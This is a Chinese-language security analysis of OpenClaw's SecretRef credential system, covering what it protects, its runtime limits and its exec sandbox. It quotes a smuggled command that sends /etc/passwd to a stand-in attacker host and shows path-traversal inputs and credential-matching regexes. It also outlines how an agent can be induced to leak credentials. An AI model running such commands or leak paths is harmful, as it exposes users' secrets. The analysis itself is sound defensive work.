一、问题的提出

在 AI Agent 领域,凭据安全是一个核心矛盾。OpenClaw 作为个人助理框架,通过 SecretRef 机制实现了凭据与配置的分离。但我有一个疑问:

OpenClaw 具备了 SecretRef 能力,可以保证不让 LLM 接触凭据明文。但是,OpenClaw Agent 自己是可以接触凭据明文的吗?如果把明文凭据往 OpenClaw 中写入过,是否就可能被诱导吐出来?

这个问题的本质是:SecretRef 保护哪些场景?哪些场景不在其保护范围内?

二、SecretRef 机制概述

引入时间

SecretRef 能力从 2026-02-26 开始引入(commit d00ed73026),并在 2026-03-03 的大规模更新中扩展到所有用户提供的凭据。

核心概念

SecretRef 是一种引用对象,用于替代配置文件中的明文凭据:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// 传统明文存储
{
  "apiKey": "sk-proj-xxxxxxxx"
}

// SecretRef 引用存储
{
  "apiKey": {
    "source": "env",
    "provider": "default", 
    "id": "OPENAI_API_KEY"
  }
}

三种凭据来源

来源说明适用场景
env环境变量个人开发、简单部署
file文件系统企业级密钥管理
exec命令行工具HashiCorp Vault、1Password 等密钥管理器

凭据覆盖范围

SecretRef 覆盖了约 70 个凭据配置面,主要分布在以下几类:

凭据类型示例
Provider API KeysOpenAI、Anthropic、Google、Azure 等模型提供商
通道认证令牌Telegram Bot Token、Discord Token、Matrix Token
云服务凭据AWS Access Key、Azure KeyVault、Vault Token
插件凭据自定义工具的 API Key、数据库连接串

此外,还有部分运行时动态生成的凭据(如 OAuth refresh token、会话令牌)不支持 SecretRef,由系统自动管理。

明文与 SecretRef 共存时的优先级

如果某个字段同时配置了明文和 SecretRef,SecretRef 优先。这意味着:

1
2
3
4
{
  "apiKey": "old-plaintext-key",
  "apiKeyRef": { "source": "env", "provider": "default", "id": "NEW_API_KEY" }
}

在这种情况下,运行时会使用环境变量 NEW_API_KEY 的值,而不是明文 old-plaintext-key

不支持 SecretRef 的凭据类型

并非所有凭据都支持 SecretRef。以下类型明确不支持:

凭据类型原因
OAuth refresh token运行时生成和轮换
会话令牌(session token)运行时生成,短期有效
Matrix accessToken运行时管理
Discord threadBindings webhookToken运行时生成
hooks.token运行时生成
WhatsApp creds.json运行时管理

这些凭据属于「运行时生成或轮换」的类别,不适合通过只读的外部 SecretRef 解析。

三、凭据生命周期全景图

flowchart TB
    subgraph 明文配置
        P1["openclaw.json 直接写明文凭据"]
    end
    subgraph SecretRef配置
        B1["环境变量"]
        B2["密钥文件"]
        B3["Vault 或 1Password"]
        B4["openclaw.json 写引用"]
    end
    subgraph 解析阶段
        C1["Gateway 启动"]
        C2["SecretRef 预解析"]
    end
    subgraph 运行时
        C3["内存快照 明文凭据"]
        D1["LLM API 调用"]
        D2["工具执行"]
        D3["通道消息发送"]
    end
    subgraph 输出保护
        E1["UI/API 响应脱敏"]
        E2["日志输出脱敏"]
        E3["工具输出脱敏"]
    end
    P1 --> C1
    B1 --> C2
    B2 --> C2
    B3 --> C2
    B4 --> C1
    C1 --> C2
    C2 --> C3
    C3 --> D1
    C3 --> D2
    C3 --> D3
    D1 -.-> E1
    D2 -.-> E3
    D3 -.-> E2
    style P1 fill:#B22222,color:#fff
    style B4 fill:#228B22,color:#fff
    style C3 fill:#E65100,color:#fff
    style E1 fill:#1565C0,color:#fff
    style E2 fill:#1565C0,color:#fff
    style E3 fill:#1565C0,color:#fff

关键理解

  1. 存储层:明文模式直接写入配置文件;SecretRef 模式只写引用,凭据在外部
  2. 解析层:SecretRef 配置在启动时被预解析;明文配置直接进入下一阶段
  3. 运行时层:无论哪种模式,凭据最终都以明文形式存在于内存快照
  4. 输出层:输出时自动脱敏,防止意外泄露

运行时解析的特点

SecretRef 的解析采用「预解析 + 惰性收集」的策略:

  • 惰性收集:只有已启用的 Provider/Channel/Skill 的 SecretRef 才会被解析。被禁用的配置不会进入解析队列,仅生成警告
  • 预解析:对于已启用的配置,在 Gateway 启动时一次性批量解析所有 SecretRef,存入内存快照
  • 非延迟:不会在每次需要凭据时才去解析

这种设计的好处是:

  • 可以预先配置多个通道但只启用部分,未启用通道的凭据不会进入内存
  • 密钥管理器(如 Vault)的故障不会影响正在运行的请求
  • 热路径上不需要额外的 I/O 操作

代价是:

  • 已启用配置的所有凭据必须在启动时可解析,否则启动失败
  • 运行时内存中始终存在已启用配置的明文凭据
  • 旧快照替换时无主动擦除,依赖 JavaScript GC 回收

四、SecretRef 保护的场景

flowchart LR
    A1["配置文件泄露"] --> R1["完全防护"]
    A2["Git 仓库暴露"] --> R2["完全防护"]
    A3["Web 管理界面截图"] --> R3["完全防护"]
    A4["日志文件被读取"] --> R4["完全防护"]
    A5["会话历史泄露"] --> R5["部分防护"]
    style R1 fill:#228B22,color:#fff
    style R2 fill:#228B22,color:#fff
    style R3 fill:#228B22,color:#fff
    style R4 fill:#228B22,color:#fff
    style R5 fill:#B8860B,color:#fff

完全防护的场景

场景保护机制
配置文件泄露文件中只有 SecretRef 引用,无明文
Git 仓库暴露同上,版本控制中无凭据痕迹
Web 管理界面截图敏感字段显示为脱敏占位符
日志文件redactSensitiveText 自动脱敏

什么是 Web 管理界面?

OpenClaw 提供了一个 Web 管理界面(Dashboard),可以通过浏览器访问。在这个界面中,用户可以:

  • 查看和编辑配置(openclaw.json
  • 管理通道设置
  • 查看运行状态

当配置中包含敏感字段(如 apiKeytoken)时,Web 界面不会显示真实值,而是显示一个脱敏占位符 __OPENCLAW_REDACTED__

这意味着:即使用户截屏分享 Web 管理界面给别人,也不会意外泄露凭据明文。

部分防护的场景:会话历史

会话历史是一个需要特别说明的场景。

什么会进入会话历史:如果在对话中主动输入过明文凭据(例如把 API Key 直接粘贴到聊天中),这些内容会存在于会话历史文件里。

脱敏机制如何工作:当工具执行完毕后,输出内容会经过 redactSensitiveText 函数处理。这个函数使用正则表达式匹配已知的凭据格式,例如:

  • OpenAI 格式:sk- 开头的字符串
  • GitHub 格式:ghp_github_pat_ 开头的字符串
  • Slack 格式:xox[baprs]- 开头的字符串
  • Telegram Bot Token:\d{6,}:[A-Za-z0-9_-]{20,} 格式
  • Bearer Token:Bearer [A-Za-z0-9._\-+=]+ 格式
  • 等等…

局限性:这是基于模式匹配的脱敏,不是语义理解。如果凭据格式不在上述已知模式列表中,可能不会被脱敏。

举例:假设你有一个自定义服务的 API Key 是 mycompany-secret-abc123xyz,这个格式不在默认的正则列表中。如果 Agent 在工具输出中包含了这个值,它不会被自动脱敏,会原样返回给 LLM。

Active-surface 验证机制

OpenClaw 采用「仅验证激活配置」的策略:

  • 已启用的通道:SecretRef 必须能成功解析,否则 Gateway 启动失败
  • 未启用的通道:即使 SecretRef 配置有误,也不会阻止系统启动

这意味着:只有被实际使用的配置才会被严格验证。你可以预先配置多个通道,但只启用其中一部分——未启用通道的凭据问题不会影响系统运行。

五、SecretRef 不保护的场景

flowchart TB
    N1["内存转储或调试器"]
    N2["Agent 诱导攻击"]
    N3["操作系统级别攻击"]
    N4["恶意插件"]
    R1["原因: 运行时快照中存在明文凭据"]
    R2["原因: Agent 可访问内存快照"]
    R3["原因: 同一进程空间"]
    R4["原因: 插件运行在 Gateway 进程内"]
    N1 --> R1
    N2 --> R2
    N3 --> R3
    N4 --> R4
    style N1 fill:#B22222,color:#fff
    style N2 fill:#B22222,color:#fff
    style N3 fill:#B22222,color:#fff
    style N4 fill:#B22222,color:#fff

安全模型:可信操作员

OpenClaw 采用的是「可信操作员(Trusted Operator)」安全模型:

  • 与 OpenClaw 对话的人被视为可信的
  • SecretRef 防止的是意外泄露,不是恶意诱导
  • 如果攻击者能与你对话,他们已经在你的信任边界内

内存快照的真相

1
2
3
4
5
6
7
// src/secrets/runtime.ts
export type PreparedSecretsRuntimeSnapshot = {
  sourceConfig: OpenClawConfig;      // 原始配置(SecretRef 引用)
  config: OpenClawConfig;             // 解析后的配置(明文凭据)
  authStores: Array<{...}>;           // 认证存储(明文凭据)
  // ...
};

所有 SecretRef 在启动时被解析为明文,存储在 PreparedSecretsRuntimeSnapshot 中。Agent 在执行时从这个快照中读取凭据。

诱导攻击的多条路径

凭据泄露至少存在三条独立路径:

flowchart LR
    subgraph 路径A
        A1["对话历史残留"] --> A2["LLM 从历史回忆"]
    end
    subgraph 路径B
        B1["工具读配置文件"] --> B2["内容进入上下文"]
    end
    subgraph 路径C
        C1["工具参数"] --> C2["发送给 LLM"]
    end
    A2 --> R["凭据泄露"]
    B2 --> R
    C2 --> R
    style A1 fill:#B22222,color:#fff
    style B1 fill:#B8860B,color:#fff
    style C1 fill:#228B22,color:#fff
路径描述SecretRef 是否防护
A:对话历史用户曾在聊天中直接输入过凭据 → LLM 从会话历史中回忆并输出❌ 完全无关
B:工具读文件Agent 通过文件读取工具读取配置文件 → 内容进入 LLM 上下文⚠️ 部分防护(SecretRef 模式配置文件无明文)
C:工具参数Agent 在工具调用参数中包含凭据 → 发送给 LLM❌ 不在保护范围

路径 A 是最现实的攻击面:用户在 onboarding 时可能直接粘贴过 API Key,这些内容存在于会话历史文件中,与 SecretRef 完全无关。SecretRef 只保护配置层面的存储,不保护用户行为层面的输入。

缓解措施是工具输出经过正则脱敏,但如前所述,这只覆盖已知格式。

Degraded 状态与 Last-known-good

当运行时重载(reload)失败时,OpenClaw 会进入「降级(degraded)」状态:

  • 保持上一个成功解析的内存快照(last-known-good)
  • 正在运行的请求不受影响
  • 系统会记录 SECRETS_RELOADER_DEGRADED 事件
  • 下次成功解析后会记录 SECRETS_RELOADER_RECOVERED 事件

这意味着,即使密钥管理器暂时不可用,OpenClaw 仍能继续工作(使用旧快照)。但这也意味着旧凭据可能在内存中持续存在,直到成功重载。

六、exec 沙箱机制

当使用 exec 来源(从命令行工具获取凭据)时,OpenClaw 实施了一组沙箱隔离措施,这是减轻凭据风险的重要防线。

沙箱隔离措施

flowchart TB
    subgraph 沙箱隔离
        S1["禁止 shell 解析"]
        S2["环境变量白名单"]
        S3["超时控制"]
        S4["凭据模式过滤"]
    end
    subgraph 风险缓解
        R1["阻止命令注入"]
        R2["阻止环境泄露"]
        R3["阻止悬挂进程"]
        R4["阻止意外暴露"]
    end
    S1 --> R1
    S2 --> R2
    S3 --> R3
    S4 --> R4
    style S1 fill:#1565C0,color:#fff
    style S2 fill:#1565C0,color:#fff
    style S3 fill:#1565C0,color:#fff
    style S4 fill:#1565C0,color:#fff
措施实现方式防护目标
禁止 shell 解析shell: false,直接执行二进制阻止命令注入攻击
环境变量白名单仅传递显式允许的变量阻止通过环境变量泄露凭据
超时控制限制命令执行时间阻止悬挂进程攻击
凭据模式过滤阻止 API_KEY/TOKEN/SECRET 模式阻止意外暴露敏感环境变量

沙箱措施详解

1. 禁止 shell 解析

实现:使用 spawn(command, args, { shell: false }) 而非 exec(command)

场景:用户配置从 Vault 获取凭据:

1
2
3
4
5
6
7
8
9
{
  "apiKeyRef": {
    "source": "exec",
    "exec": {
      "command": "vault",
      "args": ["kv", "get", "-field=api_key", "secret/openai"]
    }
  }
}

无沙箱时:如果攻击者能控制 Vault 中的值(如 api_key: $(cat /etc/passwd | curl -X POST -d @- attacker.com)),shell 会执行命令。

有沙箱时shell: false 确保参数作为字面量传递,不会被 shell 解释执行。

2. 环境变量白名单

实现:仅向子进程传递显式配置的环境变量,不继承父进程环境

场景:Gateway 运行时可能包含多个敏感环境变量:

1
2
3
4
# Gateway 进程环境
OPENAI_API_KEY=sk-xxx
ANTHROPIC_API_KEY=sk-ant-xxx
DATABASE_URL=postgres://user:pass@host/db

无沙箱时:恶意 Vault 插件可以通过 process.env 读取所有环境变量并外发。

有沙箱时:子进程只能看到白名单中的变量(如 VAULT_ADDRVAULT_TOKEN),其他敏感变量不可见。

3. 超时控制

实现:设置命令执行超时(默认 30 秒),超时后强制终止

场景:攻击者配置一个永远不返回的命令:

1
2
3
4
5
6
{
  "exec": {
    "command": "sleep",
    "args": ["infinity"]
  }
}

无沙箱时:子进程无限期占用资源,可能导致资源耗尽(DoS)。

有沙箱时:超时后进程被 SIGKILL 终止,资源被释放。

4. 凭据模式过滤

实现:阻止名称匹配 *API_KEY**TOKEN**SECRET* 等模式的环境变量传递给子进程

场景:即使使用白名单,用户可能误将敏感变量加入白名单:

1
2
3
4
5
6
7
{
  "exec": {
    "env": {
      "MY_API_KEY": "..."  // 用户误配置
    }
  }
}

无过滤时:敏感变量传递给子进程,可能被恶意插件读取。

有过滤时:变量名匹配敏感模式时被自动拒绝,即使误配置也不会泄露。

5. 可信目录白名单

实现exec 命令路径必须在预定义的安全目录内(如 /usr/local/bin/opt/homebrew/bin

场景:攻击者尝试执行任意路径

1
2
3
4
5
6
{
  "exec": {
    "command": "/etc/passwd",
    "args": []
  }
}

无白名单时:任意可执行文件可被运行。

有白名单时:路径不在白名单目录内,拒绝执行。

6. Ref ID 路径遍历防护

实现:拒绝包含 ./.. 路径段,仅允许 [A-Za-z0-9._:/-] 格式

场景:攻击者尝试通过 Ref ID 读取系统文件

1
2
3
4
5
{
  "exec": {
    "refId": "../../../etc/passwd"
  }
}

无防护时:可能通过路径遍历读取任意文件。

有防护时:路径段包含 .. 或非法字符,拒绝执行。

7. 输出大小限制

实现:限制命令输出大小(默认 64KB),超过时截断

场景:恶意程序输出大量数据

1
2
3
#!/bin/bash
# 恶意 Vault 插件
cat /dev/urandom  # 无限输出

无限制时:可能导致内存耗尽(DoS)。

有限制时:输出超过限制时截断,防止资源耗尽。

沙箱对凭据风险的影响

exec 沙箱不改变内存快照中存在明文凭据的根本事实,但它缩小了攻击面

风险场景无沙箱有沙箱
恶意 Vault 插件注入命令❌ 可被利用✅ 被阻止(shell: false)
通过环境变量侧信道泄露❌ 可被利用✅ 被限制(白名单 + 模式过滤)
悬挂进程导致资源耗尽❌ 可被利用✅ 被限制(超时控制)
任意路径命令执行❌ 可被利用✅ 被阻止(目录白名单)
路径遍历读取系统文件❌ 可被利用✅ 被阻止(Ref ID 校验)
大输出导致内存耗尽❌ 可被利用✅ 被限制(输出大小限制)

局限性:沙箱保护的是 exec 来源的解析阶段,不保护解析后的运行时状态。凭据一旦进入内存快照,沙箱的保护作用即结束。

与整体安全模型的关系

exec 沙箱是「深度防御」策略的一环:

  1. SecretRef → 保护配置文件(存储层)
  2. exec 沙箱 → 保护凭据获取过程(解析层)
  3. 输出脱敏 → 保护日志和响应(输出层)

三层防护构成了 OpenClaw 当前凭据安全的核心框架,但运行时内存始终是未覆盖的盲区。


七、明文凭据模式的额外风险

前面讨论的是 SecretRef 模式下的安全边界。但 OpenClaw 并不强制使用 SecretRef——用户完全可以直接在配置文件中写入明文凭据:

1
2
3
4
5
6
7
{
  "providers": {
    "openai": {
      "apiKey": "sk-proj-xxxxxxxx"  // 直接明文
    }
  }
}

明文模式 vs SecretRef 模式对比

flowchart TB
    subgraph 明文模式
        P1["openclaw.json"] --> P2["内存快照"]
        P2 --> P3["Agent 使用"]
    end
    subgraph SecretRef模式
        S1["openclaw.json 引用"] --> S2["解析环境变量或 Vault"]
        S2 --> S3["内存快照"]
        S3 --> S4["Agent 使用"]
    end
    style P1 fill:#B22222,color:#fff
    style S1 fill:#228B22,color:#fff
    style P2 fill:#E65100,color:#fff
    style S3 fill:#E65100,color:#fff
维度明文凭据模式SecretRef 模式
配置文件安全性❌ 包含明文✅ 只有引用
Git 仓库暴露风险❌ 凭据直接泄露✅ 无凭据痕迹
运行时内存风险⚠️ 相同⚠️ 相同
Agent 诱导风险⚠️ 相同⚠️ 相同

关键发现:SecretRef 解决的是存储安全问题,但运行时安全问题在两种模式下完全相同——凭据最终都会进入内存快照。

明文模式的特殊风险

使用明文凭据时,除了前文提到的运行时风险外,还增加了:

  1. 配置文件泄露openclaw.json 本身就是敏感文件
  2. 版本控制污染:如果提交到 Git,凭据会永久存在于历史记录中
  3. 备份/传输风险:任何配置文件副本都包含凭据
  4. Web 管理界面暴露:虽然 UI 会脱敏显示,但底层文件仍含明文

无 at-rest 加密的架构缺陷

无论使用明文模式还是 SecretRef 模式,OpenClaw 当前都没有实现 at-rest 加密

flowchart LR
    subgraph 当前状态
        D1["磁盘上的凭据"] --> D2["明文或外部管理"]
        M1["内存中的凭据"] --> M2["明文"]
    end
    subgraph 理想状态
        D3["磁盘上的凭据"] --> D4["加密存储"]
        M3["内存中的凭据"] --> M4["按需解密"]
    end
    style D2 fill:#B22222,color:#fff
    style M2 fill:#B22222,color:#fff
    style D4 fill:#228B22,color:#fff
    style M4 fill:#228B22,color:#fff
维度当前实现风险
配置文件明文 JSON 或外部引用泄露即暴露
内存快照明文内存转储即暴露
快照替换无主动擦除旧凭据残留

这是凭据安全的根本性架构缺陷,独立于 SecretRef 机制存在。

配置写回保护

尽管存在上述风险,OpenClaw 实现了一项重要的防护措施:配置写回时永远不写入明文凭据

当用户通过 Web UI 或 API 修改配置时:

  1. 计算修改相对于 resolvedConfig(含明文)的 diff
  2. 将 diff 应用到 sourceConfig(含 SecretRef 引用)上
  3. 写入的是 sourceConfig,不是 resolvedConfig

这意味着:即使运行时内存中存在明文凭据,这些明文永远不会被写回磁盘。这是防止"运行时明文意外落盘"的关键保障。


八、与 LLM 的关系

LLM 直接接触 vs 间接接触

内容LLM 是否接触
API Key 本身不(用于 HTTP 头,不在 prompt 中)
工具输出经过脱敏处理
运行时配置理论上可访问(通过工具)
会话历史完全可见

执行层隔离的实现程度

OpenClaw 实现了部分执行层隔离:

flowchart LR
    L1["LLM 层"] --> E1["执行层"]
    E1 --> API["外部 API"]
    E1 -.-> L1
    style L1 fill:#1565C0,color:#fff
    style E1 fill:#E65100,color:#fff

说明:

  • LLM 层决定做什么,传递给执行层(实线箭头)
  • 执行层使用凭据调用外部 API
  • 执行层返回脱敏后的结果给 LLM 层(虚线箭头)

九、总结与展望

凭据运行流程全景

flowchart TB
    subgraph 明文配置模式
        P1["配置文件直接写明文凭据"]
    end
    subgraph SecretRef配置模式
        S1["配置文件写引用"]
        S2["解析环境变量或 Vault"]
    end
    subgraph 启动阶段
        G1["Gateway 启动"]
        M1["存入内存快照 明文凭据"]
    end
    subgraph 运行阶段
        R1["Agent 接收请求"]
        R2["从内存快照读取凭据"]
        R3["调用外部服务"]
    end
    P1 --> G1
    S1 --> S2
    S2 --> G1
    G1 --> M1
    M1 --> R2
    R1 --> R2
    R2 --> R3
    style P1 fill:#B22222,color:#fff
    style S1 fill:#228B22,color:#fff
    style M1 fill:#E65100,color:#fff

流程说明

  1. 配置阶段
    • 明文模式:凭据直接写入 openclaw.json
    • SecretRef 模式:配置文件只存引用,凭据在外部(环境变量、Vault 等)
  2. 启动阶段:无论哪种模式,Gateway 启动后凭据都会进入内存快照
  3. 运行阶段:Agent 从内存快照读取凭据,调用外部服务

关键点:两种配置模式在运行时阶段完全相同——凭据最终都以明文形式存在于内存快照中。

安全场景分析

SecretRef 模式下的安全场景

这些场景下,SecretRef 提供了完整的保护:

场景为什么安全
配置文件泄露文件中只有引用,无明文
Git 仓库暴露版本控制中无凭据痕迹
Web 管理界面截图敏感字段显示为占位符
日志文件泄露自动脱敏处理
配置导出/备份导出内容不含明文

这些场景的共同特点是:只涉及静态存储,不涉及运行时内存

明文模式下的额外风险

场景风险
配置文件泄露凭据直接暴露
Git 仓库暴露凭据进入版本历史
备份/传输任何副本都含凭据

两种模式共同存在的运行时风险

这些场景下,SecretRef 无法提供完整保护:

场景风险原因风险等级
内存转储/调试器运行时内存中存在明文
Agent 诱导攻击Agent 可访问内存快照中高
恶意插件运行在同一进程空间
会话历史泄露工具输出依赖正则脱敏

这些场景的共同特点是:涉及运行时状态,而 SecretRef 只保护静态存储

问题的本质

OpenClaw 当前的架构是:

flowchart LR
    Agent["Agent"] --> Memory["内存快照"]
    Memory -->|"明文凭据"| Agent
    Agent --> Tools["工具调用"]
    style Memory fill:#B22222,color:#fff

问题:Agent 与凭据在同一信任域内。Agent 可以直接访问内存快照中的明文凭据。

这带来的风险是:

  • Agent 可以被诱导读取并输出凭据
  • 恶意插件可以访问凭据
  • 内存转储会包含凭据

解决方向:真正的执行层隔离

理想的架构应该是:

flowchart TB
    Agent["Agent/LLM 层"]
    Executor["执行层"]
    Secrets["凭据存储"]
    API["外部 API"]
    Agent -->|"决定做什么"| Executor
    Executor -->|"需要时获取"| Secrets
    Secrets -->|"仅返回给执行层"| Executor
    Executor --> API
    Executor -->|"脱敏结果"| Agent
    style Agent fill:#1565C0,color:#fff
    style Executor fill:#E65100,color:#fff
    style Secrets fill:#2E7D32,color:#fff

核心原则

  1. 凭据对 Agent 不可见:Agent 只知道"调用什么服务",不知道"用什么凭据"
  2. 执行层是唯一入口:所有外部调用必须经过执行层
  3. 凭据在执行层注入:凭据只在执行层被使用,永远不返回给 Agent

实现方式

1
2
3
4
5
Agent 请求: "调用 OpenAI API 生成文本"
执行层: 检查权限 → 从安全存储获取凭据 → 调用 API → 脱敏结果
Agent 收到: "生成完成,结果如下..."

Agent 永远不会看到凭据,也不会知道凭据的值。即使 Agent 被完全控制,也无法泄露它不知道的东西。

分阶段实施路径

直接跳到"完全执行层隔离"是高成本架构改造。更务实的路径是分阶段收窄攻击面:

优先级目标改动范围安全收益
P0At-rest 加密新增 encrypted source 类型磁盘凭据不再明文
P1内存生命周期管控旧快照清零、缩短驻留时间减少内存转储风险
P1执行层隔离增强架构改造,凭据不进入 Agent 内存Agent 无法访问凭据

关键洞察:P0/P1(加密 + 内存管控)对用户体验影响小、实施难度低,却能大幅收窄攻击面。直接跳到执行层隔离可能得不偿失。

已有安全措施

除本文详述的 SecretRef 和 exec 沙箱外,OpenClaw 已实施多层防护(本文未展开):

措施保护阶段说明
原子写入存储写临时文件 → chmod → rename,防止部分写入
file 后端路径安全解析符号链接拒绝、属主校验、TOCTOU 保护
配置写回保护存储永远写入 sourceConfig,不写 resolvedConfig
时序安全比较运行时timingSafeEqual,防止时序攻击
安全审计命令运维openclaw secrets audit,检测配置问题
Tool Schema 隔离执行层工具参数中不包含凭据字段

这些措施主要防护意外泄露,但不改变运行时内存中存在明文凭据的根本事实。

与当前实现的差距

维度当前实现理想实现
凭据存储配置文件引用完全外部化
运行时状态内存快照含明文凭据不进入 Agent 内存
Agent 访问可通过工具间接访问完全不可见
脱敏机制正则匹配(覆盖有限)架构级隔离(无需脱敏)

总结

OpenClaw 的 SecretRef 机制是一个优秀的存储安全方案:

  • 它解决了配置文件级别的凭据保护问题
  • 它与企业级密钥管理系统无缝集成
  • 它大幅降低了凭据意外泄露的概率

但它不是运行时安全方案:

  • 凭据在运行时以明文形式存在于内存中
  • Agent 理论上可以访问这些凭据
  • 正则脱敏只覆盖已知格式

如果需要真正的凭据安全,需要实现执行层隔离:让凭据只在执行层存在,Agent 永远不知道凭据的值。这是 AI Agent 凭据安全的本质解法。


参考资料